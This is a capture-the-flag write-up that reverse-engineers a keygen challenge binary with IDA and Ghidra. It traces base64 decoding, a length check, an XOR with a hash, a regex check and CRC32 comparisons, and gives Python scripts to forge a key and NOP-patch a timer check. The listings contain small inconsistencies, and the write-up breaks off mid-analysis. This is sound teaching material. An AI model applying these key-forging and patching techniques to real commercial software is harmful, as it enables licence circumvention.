1  __DWORD * __fastcall process_key(__int64 key, unsigned int key_len, unsigned __int64 *key_addr)
2  {
3      __int64 type; // rax
4      int v6; // [rsp+24h] [rbp-44Ch]
5      char *ptr; // [rsp+28h] [rbp-448h]
6      __int64 v8; // [rsp+30h] [rbp-440h]
7      unsigned __int64 v9; // [rsp+38h] [rbp-438h]
8      unsigned __int64 i; // [rsp+40h] [rbp-430h]
9      __int64 bio; // [rsp+48h] [rbp-428h]
10     __int64 v12; // [rsp+48h] [rbp-428h]
11     __int64 b64; // [rsp+50h] [rbp-420h]
12     __DWORD *v14; // [rsp+58h] [rbp-418h]
13     char src[1032]; // [rsp+60h] [rbp-410h] BYREF
14     unsigned __int64 v16; // [rsp+468h] [rbp-8h]
15
16     v16 = __readfsqword(0x28u);
17     ptr = 0LL;
18     v8 = 0LL;
19     v9 = 0LL;
20     bio = BIO_new_mem_buf(key, key_len);
21     type = BIO_f_base64();
22     b64 = BIO_new(type);
23     v12 = BIO_push(b64, bio);
24     while ( 1 )
25     {
26         v6 = BIO_read(v12, src, 1024LL);
27         if ( v6 <= 0 )
28             break;
29         ptr = realloc(ptr, v8 + v6);
30         if ( !ptr )
31             exit(1);
32         memcpy(&ptr[v8], src, v6);
33         v8 += v6;
34         v9 += v6;
35     }
36     BIO_free_all(v12);
37     if ( !key_addr )
38         *key_addr = v9;
39     if ( sub_1909(v9) != 1 )
40         exit(1);
41     v14 = malloc(4 * v9);
42     if ( !v14 )
43         exit(1);
44     for ( i = 0LL; i < v9; ++i )
45         v14[i] = ptr[i];
46     return v14;
47 }
```

```
__DWORD * __fastcall process_key(__int64 key, unsigned int key_len, unsigned
__int64 *key_addr)
```

```
{
    __int64 type; // rax
    int v6; // [rsp+24h] [rbp-44Ch]
    char *ptr; // [rsp+28h] [rbp-448h]
    __int64 v8; // [rsp+30h] [rbp-440h]
    unsigned __int64 v9; // [rsp+38h] [rbp-438h]
    unsigned __int64 i; // [rsp+40h] [rbp-430h]
    __int64 bio; // [rsp+48h] [rbp-428h]
    __int64 v12; // [rsp+48h] [rbp-428h]
    __int64 b64; // [rsp+50h] [rbp-420h]
    __DWORD *v14; // [rsp+58h] [rbp-418h]
    char src[1032]; // [rsp+60h] [rbp-410h] BYREF
    unsigned __int64 v16; // [rsp+468h] [rbp-8h]

    v16 = __readfsqword(0x28u);
    ptr = 0LL;
    v8 = 0LL;
    v9 = 0LL;
    bio = BIO_new_mem_buf(key, key_len);
```

```

type = BIO_f_base64();
b64 = BIO_new(type);
v12 = BIO_push(b64, bio);
while ( 1 )
{
    v6 = BIO_read(v12, src, 1024LL);
    if ( v6 <= 0 )
        break;
    ptr = realloc(ptr, v8 + v6);
    if ( !ptr )
        exit(1);
    memcpy(&ptr[v8], src, v6);
    v8 += v6;
    v9 += v6;
}
BIO_free_all(v12);
if ( key_addr )
    *key_addr = v9;
if ( check_len(v9) != 1 )
    exit(1);
v14 = malloc(4 * v9);
if ( !v14 )
    exit(1);
for ( i = 0LL; i < v9; ++i )
    v14[i] = ptr[i];
return v14;
}

```


- First I didn't know what this `BIO` struct were about so I did some research and found this two helpful manual sites: [manual1](#) [manual2](#)
- So basically it's decoding a base64 value which in this case is our provided key then it calls the `check_len` function passing the length of the base64 decoded key value as the parameter
- This function `check_len` basically returns a boolean variable based on if the provided length is 29

```

__BOOL8 __fastcall check_len(int a1)
{
    return a1 == 29;
}

```

Function xor(odd_hash, processed)



The screenshot shows the IDA Pro interface with the Pseudocode-A view selected. The function `xor` is defined as `__fastcall xor(const char *odd_hash, char *processed)`. The pseudocode is as follows:


```
1  __BYTE * __fastcall xor(const char *odd_hash, char *processed)
2  {
3      size_t i; // [rsp+18h] [rbp-18h]
4      size_t n; // [rsp+20h] [rbp-10h]
5      __BYTE *ptr; // [rsp+28h] [rbp-8h]
6
7      n = strlen(odd_hash);
8      ptr = malloc(n + 1);
9      if ( !ptr )
10         exit(1);
11     for ( i = 0LL; i < n; ++i )
12         ptr[i] = *processed[4 * i] ^ odd_hash[i];
13     ptr[n] = 0;
14     return ptr;
15 }
```

```
__BYTE * __fastcall xor(const char *odd_hash, char *processed)
{
    size_t i; // [rsp+18h] [rbp-18h]
    size_t n; // [rsp+20h] [rbp-10h]
    __BYTE *ptr; // [rsp+28h] [rbp-8h]

    n = strlen(odd_hash);
    ptr = malloc(n + 1);
    if ( !ptr )
        exit(1);
    for ( i = 0LL; i < n; ++i )
        ptr[i] = *processed[4 * i] ^ odd_hash[i];
    ptr[n] = 0;
    return ptr;
}
```

- Performs a xor operation on each character of the `odd_hash` with that of the `processed` value

Function check_regex(result)



The screenshot shows the IDA Pro interface with the 'Pseudocode-A' window selected. The function 'check_regex' is displayed, starting at address 00001907. The code is a C-like pseudocode representation of the assembly. It declares local variables: 'errcode' (int), 'preg' (regex_t), 'errbuf' (char array of 104), and 'v5' (unsigned __int64). The function logic is as follows: it reads a qword from memory (0x28u), checks if the compiled regex matches the input string using 'regcomp', and if successful, returns 0. If 'regcomp' fails, it calls 'regexec' with the input string. If 'regexec' fails (errcode != 0), it returns 1. If 'regexec' succeeds (errcode == 1), it prints 'Invalid subkey format' to stdout and returns 0. If 'regexec' fails for another reason, it calls 'regerror' to get an error message, prints it to stderr, flushes stdout, and returns 0.

```
1  __int64 __fastcall check_regex(const char *result)
2  {
3      int errcode; // [rsp+14h] [rbp-BCh]
4      regex_t preg; // [rsp+20h] [rbp-B0h] BYREF
5      char errbuf[104]; // [rsp+60h] [rbp-70h] BYREF
6      unsigned __int64 v5; // [rsp+C8h] [rbp-8h]
7
8      v5 = __readfsqword(0x28u);
9      if ( regcomp(&preg, "[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$", 1) )
10         return 0LL;
11      errcode = regexec(&preg, result, 0LL, 0LL, 0);
12      if ( !errcode )
13         return 1LL;
14      if ( errcode == 1 )
15      {
16         puts("Invalid subkey format");
17     }
18     else
19     {
20         regerror(errcode, &preg, errbuf, 0x64uLL);
21         fprintf(stderr, "Error : %s\n", errbuf);
22     }
23     fflush(stdout);
24     return 0LL;
25 }
```

```
__int64 __fastcall check_regex(const char *result)
{
    int errcode; // [rsp+14h] [rbp-BCh]
    regex_t preg; // [rsp+20h] [rbp-B0h] BYREF
    char errbuf[104]; // [rsp+60h] [rbp-70h] BYREF
    unsigned __int64 v5; // [rsp+C8h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    if ( regcomp(&preg, "[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$", 1) )
        return 0LL;
    errcode = regexec(&preg, result, 0LL, 0LL, 0);
    if ( !errcode )
        return 1LL;
    if ( errcode == 1 )
    {
        puts("Invalid subkey format");
    }
    else
    {
        regerror(errcode, &preg, errbuf, 0x64uLL);
        fprintf(stderr, "Error : %s\n", errbuf);
    }
    fflush(stdout);
    return 0LL;
}
```


- Goddammit what is this?
- Always check our the [manual](#) page
- So basically `regcomp()` does is to compile a regular expression into a form that is suitable for subsequent `regexexec()` searches.
- The parameter it requires are:

```
int regcomp(regex_t *preg_, const char regex, int cflags);
```

- In our case we know the `preg_` & `regex` but not the `cflags`
- Since it's `1` we need to know what exact flag it is
- From the manual page it says: *cflags* may be the bitwise-or of one or more of the following: `REG_EXTENDED`, `REG_ICASE`, `REG_NOSUB`, `REG_NEWLINE`
- I looked at the [regex.h](#) source code and saw this

```
#define REG_BASIC      0000
#define REG_EXTENDED  0001
#define REG_ICASE      0002
#define REG_NOSUB      0004
#define REG_NEWLINE    0010
#define REG_NOSPEC     0020
#define REG_PEND       0040
#define REG_DUMP       0200
```

- So the cflag being used is `REG_EXTENDED` which uses **POSIX** Extended Regular Expression syntax when interpreting *regex*.
- Basically this function is used to check if our value matches `^[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$`
- If it is then `0` else `1`

The next function is `compute(result, username)` but let's hold on for now

So far we can conclude that:

- The key should be sent as a base64 encoded value
- The decoded key length should be 29
- The decoded key is going to be xored with the `odd_hash`
- The resulting xored value should match a certain regular expression

From the regex check we can say that sample keys might be:

AAAA-AAAA-AAAA-AAAA-AAAA-AAAA

Let us work with generating a valid key format

From the conclusion above we can make the resulting xored value the expected regex expression by doing this

- xor the sample key with the odd hash since that's generated based on the username
- xor the resulting value with the odd hash
- base64 encode the resulting xored value

Here's a script which can accomplish that

```
import hashlib
import base64

def xor(a, b):
    r = ""
    for i, j in zip(a, b):
        r += chr(i ^ j)

    return r

def gen_hash(a):
    value = hashlib.sha256(a).hexdigest()
    r = ""
    i = 0
    for j in range(len(value)):
        if (j & 1 != 0):
            r += value[j]
            if (i == 29):
                break

    return r.encode()

username = "BJIZ-HACKERLAB"
odd = gen_hash(username.encode())
key = "AAAA-AAAA-AAAA-AAAA-AAAA-AAAA".encode()

r = xor(odd, key).encode()
uh = xor(r, odd)

print(username)
```

```
print(key)
print(base64.b64encode(r))
```

Now one issue might be the time counter as it's an obvious pain to be working with speed

We can patch it so that instead of it to exit it will do nothing

Here's my patch script

```
from pwn import asm, disasm

with open("keygen1", "rb") as f:
    file = f.read()
    f.close()


patched = b"\xe8\xf1\xeb\xff\xff"

print(disasm(patched))


binary = file.replace(patch, asm("nop")*len(patch))

with open("keygen", "wb") as f:
    f.write(binary)
```


This is where I'm patching



Ok now that we have done that let's view the `compute(key, username)` function



```
1 // positive sp value has been detected, the output may be wrong!
2 __int64 __fastcall compute(char *result, const char *username)
3 {
4     size_t v2; // rax
5     unsigned int r; // eax
6     int i; // [rsp+18h] [rbp-A868h]
7     int v6; // [rsp+1Ch] [rbp-A864h]
8     int j; // [rsp+20h] [rbp-A860h]
9     int v8; // [rsp+24h] [rbp-A85Ch]
10    int k; // [rsp+28h] [rbp-A858h]
11    int v10; // [rsp+2Ch] [rbp-A854h]
12    int m; // [rsp+30h] [rbp-A850h]
13    int v12; // [rsp+34h] [rbp-A84Ch]
14    int n; // [rsp+38h] [rbp-A848h]
15    char *ptr; // [rsp+40h] [rbp-A840h]
16    __int64 v15; // [rsp+48h] [rbp-A838h]
17    const char *src; // [rsp+50h] [rbp-A830h]
18    __int64 v17; // [rsp+60h] [rbp-A820h]
19    __int64 v18; // [rsp+68h] [rbp-A818h]
20    __int64 v19; // [rsp+70h] [rbp-A810h]
21    int v20; // [rsp+80h] [rbp-A800h]
22    int array[11]; // [rsp+84h] [rbp-A7FCh]
23    int buffer[496]; // [rsp+B0h] [rbp-A7D0h] BYREF
24    char v23; // [rsp+878h] [rbp-A008h] BYREF
25    __int64 v24; // [rsp+1878h] [rbp-9008h] BYREF
26    char delim[2]; // [rsp+A85Ch] [rbp-24h] BYREF
27    char hex[10]; // [rsp+A858h] [rbp-22h] BYREF
28    unsigned __int64 canary; // [rsp+A868h] [rbp-18h]
29
30    while ( &v23 != (&v24 - 5120) )
31    {
32        canary = __readfsqword(0x28u);
33        if ( check_regex(result) != 1 )
34            exit(1);
35        ptr = malloc(8uLL);
36        strcpy(delim, "-.");
37        if ( !ptr )
38            exit(1);
```



```
36    strcpy(delim, "-.");
37    if ( !ptr )
38        exit(1);
39    v15 = 0LL;
40    for ( src = strtok(result, delim); src; src = strtok(0LL, delim) )
41    {
42        ptr = realloc(ptr, 8 * (v15 + 1));
43        if ( !ptr )
44            exit(1);
45        v2 = strlen(src);
46        *ptr[8 * v15] = malloc(v2 + 1);
47        if ( !*ptr[8 * v15] )
48            exit(1);
49        strcpy(*ptr[8 * v15++], src);
50    }
51    v20 = 1;
52    array[0] = 894;
53    array[1] = 1;
54    array[2] = 298;
55    array[3] = 447;
56    array[4] = 799236;
57    array[5] = 1;
58    array[6] = 223;
59    array[7] = -178;
60    array[8] = -1;
61    array[9] = 0;
62    array[10] = 1788;
63    memset(buffer, 0, 0xA7A0uLL);
64    v17 = 0LL;
65    v18 = 0LL;
66    v19 = 0LL;
67    for ( i = 0; i <= 5; ++i )
68    {
69        v6 = 0;
70        for ( j = array[2 * i - 1]; j <= array[2 * i]; ++j )
71        {
72            r = do_it(j ^ 0x37Eu);
            sprintf(hex, "%04X", r);
```

```

71 {
72     r = do_it(j ^ 0x37Eu);
73     sprintf(hex, "%04X", r);
74     if ( !strcmp(hex, "&ptr[8 * i]) )
75         buffer[1788 * i + v6++] = j;
76 }
77 *(&v17 + i) = v6;
78 }
79 free(ptr);
80 v8 = 0;
81 LABEL_45:
82 if ( v8 < v17 )
83 {
84     for ( k = 0; ; ++k )
85     {
86         if ( k >= SHIDWORD(v17) )
87         {
88             ++v8;
89             goto LABEL_45;
90         }
91         v10 = 0;
92 LABEL_41:
93         if ( v10 < v18 )
94             break;
95     }
96     for ( m = 0; ; ++m )
97     {
98         if ( m >= SHIDWORD(v18) )
99         {
100             ++v10;
101             goto LABEL_41;
102         }
103         v12 = 0;
104 LABEL_37:
105         if ( v12 < v19 )
106             break;
107     }
108     for ( n = 0; ; ++n )
109     {
110         if ( n >= SHIDWORD(v19) )
111         {
112             ++v12;
113             goto LABEL_37;
114         }
115         if ( v12 * v8 + v10 == k * k * k * k * k * k + n * m && v10 + v8 < 1788 && n - v10 * k <= 894 )
116             break;
117     }
118     if ( !strcmp(username, "BJIZ-HACKERLAB") )
119         printf("Correct key, Here the flag: %s\n", flag);
120     else
121         printf("Dear %s, WELCOME BACK\n", username);
122     fflush(stdout);
123     return 1LL;
124 }
125 else
126 {
127     printf("Incorrect Key Dear %s\n", username);
128     fflush(stdout);
129     return 0LL;
130 }
131 }

```

```

95 }
96 for ( m = 0; ; ++m )
97 {
98     if ( m >= SHIDWORD(v18) )
99     {
100         ++v10;
101         goto LABEL_41;
102     }
103     v12 = 0;
104 LABEL_37:
105     if ( v12 < v19 )
106         break;
107 }
108 for ( n = 0; ; ++n )
109 {
110     if ( n >= SHIDWORD(v19) )
111     {
112         ++v12;
113         goto LABEL_37;
114     }
115     if ( v12 * v8 + v10 == k * k * k * k * k * k + n * m && v10 + v8 < 1788 && n - v10 * k <= 894 )
116         break;
117 }
118 if ( !strcmp(username, "BJIZ-HACKERLAB") )
119     printf("Correct key, Here the flag: %s\n", flag);
120 else
121     printf("Dear %s, WELCOME BACK\n", username);
122 fflush(stdout);
123 return 1LL;
124 }
125 else
126 {
127     printf("Incorrect Key Dear %s\n", username);
128     fflush(stdout);
129     return 0LL;
130 }
131 }

```

Here's the decompilation for IDA

```

// positive sp value has been detected, the output may be wrong!
__int64 __fastcall compute(char *key, const char *username)
{
    size_t v2; // rax
    unsigned int r; // eax
    int i; // [rsp+18h] [rbp-A868h]
    int v6; // [rsp+1Ch] [rbp-A864h]
    int j; // [rsp+20h] [rbp-A860h]
    int v8; // [rsp+24h] [rbp-A85Ch]
    int k; // [rsp+28h] [rbp-A858h]

```

```

int v10; // [rsp+2Ch] [rbp-A854h]
int m; // [rsp+30h] [rbp-A850h]
int v12; // [rsp+34h] [rbp-A84Ch]
int n; // [rsp+38h] [rbp-A848h]
char *ptr; // [rsp+40h] [rbp-A840h]
__int64 v15; // [rsp+48h] [rbp-A838h]
const char *src; // [rsp+50h] [rbp-A830h]
__int64 v17; // [rsp+60h] [rbp-A820h]
__int64 v18; // [rsp+68h] [rbp-A818h]
__int64 v19; // [rsp+70h] [rbp-A810h]
int v20; // [rsp+80h] [rbp-A800h]
int array[11]; // [rsp+84h] [rbp-A7FCh]
int buffer[498]; // [rsp+B0h] [rbp-A7D0h] BYREF
char v23; // [rsp+878h] [rbp-A008h] BYREF
__int64 v24; // [rsp+1878h] [rbp-9008h] BYREF
char delim[2]; // [rsp+A85Ch] [rbp-24h] BYREF
char hex[10]; // [rsp+A85Eh] [rbp-22h] BYREF
unsigned __int64 canary; // [rsp+A868h] [rbp-18h]

while ( &v23 != (&v24 - 5120) )
    ;
canary = __readfsqword(0x28u);
if ( check_regex(key) != 1 )
    exit(1);
ptr = malloc(8uLL);
strcpy(delim, "-");
if ( !ptr )
    exit(1);
v15 = 0LL;
for ( src = strtok(key, delim); src; src = strtok(0LL, delim) )
{
    ptr = realloc(ptr, 8 * (v15 + 1));
    if ( !ptr )
        exit(1);
    v2 = strlen(src);
    *&ptr[8 * v15] = malloc(v2 + 1);
    if ( !*&ptr[8 * v15] )
        exit(1);
    strcpy(*&ptr[8 * v15++], src);
}
v20 = 1;
array[0] = 894;
array[1] = 1;
array[2] = 298;
array[3] = 447;
array[4] = 799236;

```

```

array[5] = 1;
array[6] = 223;
array[7] = -178;
array[8] = -1;
array[9] = 0;
array[10] = 1788;
memset(buffer, 0, 0xA7A0uLL);
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
for ( i = 0; i <= 5; ++i )
{
    v6 = 0;
    for ( j = array[2 * i - 1]; j <= array[2 * i]; ++j )
    {
        checksum = gen_checksum(j ^ 0x37Eu);
        sprintf(hex, "%04X", r);
        if ( !strcmp(hex, *&ptr[8 * i]) )
            buffer[1788 * i + v6++] = j;
    }
    *(&v17 + i) = v6;
}
free(ptr);
v8 = 0;
LABEL_45:
if ( v8 < v17 )
{
    for ( k = 0; ; ++k )
    {
        if ( k >= SHIDWORD(v17) )
        {
            ++v8;
            goto LABEL_45;
        }
        v10 = 0;
    }
    LABEL_41:
    if ( v10 < v18 )
        break;
}
for ( m = 0; ; ++m )
{
    if ( m >= SHIDWORD(v18) )
    {
        ++v10;
        goto LABEL_41;
    }
}

```

```

        v12 = 0;
LABEL_37:
        if ( v12 < v19 )
            break;
    }
    for ( n = 0; ; ++n )
    {
        if ( n >= SHIDWORD(v19) )
        {
            ++v12;
            goto LABEL_37;
        }
        if ( v12 * v8 + v10 == k * k * k * k * k + n - m && v10 + v8 < 1788 &&
n - v10 * k <= 894 )
            break;
    }
    if ( !strcmp(username, "BJIZ-HACKERLAB") )
        printf("Correct key, Here the flag: %s\n", flag);
    else
        printf("Dear %s, WELCOME BACK\n", username);
    fflush(stdout);
    return 1LL;
}
else
{
    printf("Incorrect Key Dear %s\n", username);
    fflush(stdout);
    return 0LL;
}
}

```

Now that looks scary ikr

Here's what it does:

- First it makes sure the key provided as the first parameter matches the expected regular expression
- This portion of code does this

```

strcpy(delim, "-");
if ( !ptr )
    exit(1);

v15 = 0LL;
for ( src = strtok(key, delim); src; src = strtok(0LL, delim) )

```



```

{
    ptr = realloc(ptr, 8 * (v15 + 1));
    if ( !ptr )
        exit(1);
    v2 = strlen(src);
    *&ptr[8 * v15] = malloc(v2 + 1);
    if ( !*&ptr[8 * v15] )
        exit(1);
    strcpy(*&ptr[8 * v15++], src);
}
}

```

- This loop would split the `key` value using delimiter `-`
- Then for every 4 bytes chunk it would store it into a pointer
- In order words it's storing each 4 bytes of the key split by the delimiter `-` into a dynamic memory
- I didn't exactly try to understand what it does i just did some dynamic reversing to figure this out
- Moving on this portion of code does this

```

v20 = 1;
array[0] = 894;
array[1] = 1;
array[2] = 298;
array[3] = 447;
array[4] = 799236;
array[5] = 1;
array[6] = 223;
array[7] = -178;
array[8] = -1;
array[9] = 0;
array[10] = 1788;
memset(buffer, 0, 0xA7A0uLL);
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
for ( i = 0; i <= 5; ++i )
{
    v6 = 0;
    for ( j = array[2 * i - 1]; j <= array[2 * i]; ++j )
    {
        checksum = gen_checksum(j ^ 0x37Eu);
        sprintf(hex, "%04X", checksum);
        if ( !strcmp(hex, *&ptr[8 * i]) )

```

```

        buffer[1788 * i + v6++] = j;
    }
    *(&v17 + i) = v6;
}
free(ptr);

```

- First it stores some value in a array of integers
- Fills up a memory `buffer` with null bytes of size `0xA7A0`
- Iterates from range 0-6
 - Initialize a variable `v6` to 0
 - Then does a for loop where it begins from a value gotten at `array[2 * i - 1]` and ends at `array[2 * i] + 1`
 - During the inner loop it generates a `checksum` value
 - The value generated is compared against the 4 bytes value of our input
 - If it matches it sets `buffer[1788 * i + v6]` to `j` and increments `v6`
 - After the inner loop is completed it sets `v17[i]` to `v6`

Let's take a look at what the `gen_checksum` function does

```

1  __int64 __fastcall gen_checksum(unsigned int val)
2  {
3      unsigned __int64 i; // [rsp+18h] [rbp-18h]
4      char array[4]; // [rsp+24h] [rbp-Ch] BYREF
5      unsigned __int64 canary; // [rsp+28h] [rbp-8h]
6
7      canary = __readfsqword(0x28u);
8      for ( i = 0LL; i <= 3; ++i )
9          array[i] = val >> (8 * i);
10     return crc32(array, 4LL);
11 }

```

```

__int64 __fastcall gen_checksum(unsigned int val)
{
    unsigned __int64 i; // [rsp+18h] [rbp-18h]
    char array[4]; // [rsp+24h] [rbp-Ch] BYREF
    unsigned __int64 canary; // [rsp+28h] [rbp-8h]

    canary = __readfsqword(0x28u);
    for ( i = 0LL; i <= 3; ++i )

```


```

    array[i] = val >> (8 * i);
    return crc32(array, 4LL);
}

```

- Iterates through 0-4 where variable `i` is the counter
- Does some bit right shifting and stores the value into `array[i]`
- Calls the `crc32` function passing the array and `4` as the parameter

Here's the `crc32` function



The screenshot shows the IDA Pro interface with the 'Pseudocode-A' pane selected. The function `__int64 __fastcall crc32(_BYTE *cstr, __int64 val)` is displayed. The pseudocode is as follows:

```

1  __int64 __fastcall crc32(_BYTE *cstr, __int64 val)
2  {
3      __int64 result; // rax
4      _BYTE *inp; // rsi
5      unsigned int crc; // eax
6
7      result = 0LL;
8      if ( cstr && val )
9      {
10         inp = &cstr[val];
11         crc = -1;
12         do
13             crc = crc32_table[(*cstr++ ^ crc)] ^ (crc >> 8);
14         while ( cstr != inp );
15         return ~crc;
16     }
17     return result;
18 }

```

```

__int64 __fastcall crc32(_BYTE *cstr, __int64 val)
{
    __int64 result; // rax
    _BYTE *inp; // rsi
    unsigned int crc; // eax

    result = 0LL;
    if ( cstr && val )
    {
        inp = &cstr[val];
        crc = -1;
        do
            crc = crc32_table[(*cstr++ ^ crc)] ^ (crc >> 8);
        while ( cstr != inp );
        return ~crc;
    }
    return result;
}

```


- This basically calculates the `crc32` checksum of a value
- Remember that this binary was stripped so this function name wasn't known, how I figured that was by looking at the lookup table and seeing this

```


.rodata:000000000000032EE aIncorrectUsern db 'Incorrect Usern or key',0
.rodata:000000000000032EE ; DATA XREF: main+2801o
.rodata:00000000000003308 align 20h
.rodata:00000000000003320 ; _DWORD crc32_table[256]
.rodata:00000000000003320 crc32_table dd 0, 77073096h, 0EE0B612Ch, 990951BAh, 76DC419h, 706AF48Fh
.rodata:00000000000003320 ; DATA XREF: crc32+181o
.rodata:00000000000003320 ; .text:00000000000002816o
.rodata:00000000000003338 dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
.rodata:0000000000000334C dd 97D2D988h, 9B64C2Bh, 7EB17C8Dh, 0E7B82D07h, 90BF1D91h
.rodata:00000000000003360 dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
.rodata:00000000000003374 dd 6DD84EBh, 0F4D4B551h, 8D385C7h, 136C9856h, 646BA8C0h
.rodata:00000000000003388 dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
.rodata:0000000000000339C dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
.rodata:000000000000033B0 dd 3C03E4D1h, 4B04D447h, 0D20D85Fdh, 0A50A56Bh, 35B5A8FAh
.rodata:000000000000033C4 dd 42B2986Ch, 0DBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
.rodata:000000000000033D8 dd 0DCD60DCPh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
.rodata:000000000000033EC dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8DA50Fh
.rodata:00000000000003400 dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
.rodata:00000000000003414 dd 58684C11h, 0C1611DAh, 0B6662D3Dh, 76DC4190h, 1DB7106h
.rodata:00000000000003428 dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
.rodata:0000000000000343C dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A8Eh, 0E10E9818h
.rodata:00000000000003450 dd 7F6A0DBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
.rodata:00000000000003464 dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
.rodata:00000000000003478 dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBE8EAh
.rodata:0000000000000348C dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
.rodata:000000000000034A0 dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADF5411h
.rodata:000000000000034B4 dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
.rodata:000000000000034C8 dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
.rodata:000000000000034DC dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
.rodata:000000000000034F0 dd 5768B525h, 206F85B3h, 0B966D409h, 0CE1E49Fh, 5EDEF90Eh
.rodata:00000000000003504 dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
.rodata:00000000000003518 dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
.rodata:0000000000000352C dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
.rodata:00000000000003540 dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
.rodata:00000000000003554 dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
.rodata:00000000000003568 dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
.rodata:0000000000000357C dd 6E6B06E7h, 0FED41B76h, 89D32B80h, 10DA7A5Ah, 67DD4ACCh
.rodata:00000000000003590 dd 0F9B9DF6Fh, 8EBEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
00003320:00000000000003320: .rodata:crc32_table (Synchronized with Hex View-1)

```


Then I searched up one of the constant and got this



And with that I got the source [here](#)



- Back to the challenge, it would return the crc32 checksum of the generated value in the array but one thing to note here is this



- Before it returns , the value that's going to be stored in `eax` is going to be the lower two bytes of that `rax` register

So that's all for the `gen_checksum()` function

- Moving on the next portion is this

```

    v8 = 0;
LABEL_45:
    if ( v8 < v17 )
    {
        for ( k = 0; ; ++k )
        {
            if ( k >= SHIDWORD(v17) )
            {
                ++v8;
                goto LABEL_45;
            }
            v10 = 0;
LABEL_41:
            if ( v10 < v18 )
                break;
        }
        for ( m = 0; ; ++m )
        {
            if ( m >= SHIDWORD(v18) )
            {
                ++v10;
                goto LABEL_41;
            }
            v12 = 0;
LABEL_37:
            if ( v12 < v19 )
                break;
        }
        for ( n = 0; ; ++n )
        {
            if ( n >= SHIDWORD(v19) )
            {
                ++v12;
                goto LABEL_37;
            }
            if ( v12 * v8 + v10 == k * k * k * k * k + n - m && v10 + v8 < 1788 &&
n - v10 * k <= 894 )
                break;
        }
        if ( !strcmp(username, "BJIZ-HACKERLAB") )
            printf("Correct key, Here the flag: %s\n", flag);
        else
            printf("Dear %s, WELCOME BACK\n", username);
        fflush(stdout);
        return 1LL;
    }

```

```
else
{
    printf("Incorrect Key Dear %s\n", username);
    fflush(stdout);
    return 0LL;
}
}
```

This looks like the main logic which would determine if we get the right key or not and to be honest I spent quite some good amount of hours trying to understand this by looking at IDA's decompilation and the assembly but I failed at it

So I switched my decompiler to Ghidra and surprisingly it's decompilation was not too hard

```
Decompile: compute - (keygen1)
1
2 /* WARNING: Removing unreachable block (ram,0x001020da) */
3
4 undefined8 compute(char *key,char *username)
5
6 {
7     undefined *puVar1;
8     char cVar2;
9     uint checksum;
10    size_t sVar3;
11    void *pvVar4;
12    int fp;
13    undefined8 ret;
14    undefined *puVar5;
15    long in_FS_OFFSET;
16    int idx;
17    int sub_idx;
18    uint crc-idx;
19    int o;
20    int i;
21    int j;
22    int k;
23    int l;
24    int m;
25    void *ptr;
26    long local_a840;
27    char *local_a838;
28    int compute [6];
29    uint array [14];
30    undefined local_a010 [40932];
31    undefined2 local_2c;
32    char generated [10];
33    long canary;
34    char *key_chunk;
35
36    puVar1 = &stack0xfffffffffffffff0;
37    do {
38        puVar5 = puVar1;
39        *(undefined8 *) (puVar5 + -0x1000) = *(undefined8 *) (puVar5 + -0x1000);
40        puVar1 = puVar5 + -0x1000;
41    } while (puVar5 + -0x1000 != local_a010);
42    canary = *(long *) (in_FS_OFFSET + 0x28);
43    *(undefined8 *) (puVar5 + -0x1880) = 0x101ef6;
44    cVar2 = regx_check(key);
45    if (cVar2 != '\x01') {
46        /* WARNING: Subroutine does not return */
47        *(undefined8 *) (puVar5 + -0x1880) = 0x101f07;
48        exit(1);
49    }
50    *(undefined8 *) (puVar5 + -0x1880) = 0x101f11;
51    ptr = malloc(8);
52    local_2c = 0x2d;
53    if (ptr == (void *) 0x0) {
54        /* WARNING: Subroutine does not return */
55        *(undefined8 *) (puVar5 + -0x1880) = 0x101f32;
56        exit(1);
57    }
58    local_a840 = 0;
```

001023dd	compute	MOV EAX,0x1
----------	---------	-------------


```
Decompile: compute - (keygen1)
57
58 local_a840 = 0;
59 *(undefined8 *) (puVar5 + -0x1880) = 0x101f53;
60 local_a838 = strtok(key, (char *)&local_2c);
61 while (local_a838 != (char *)0x0) {
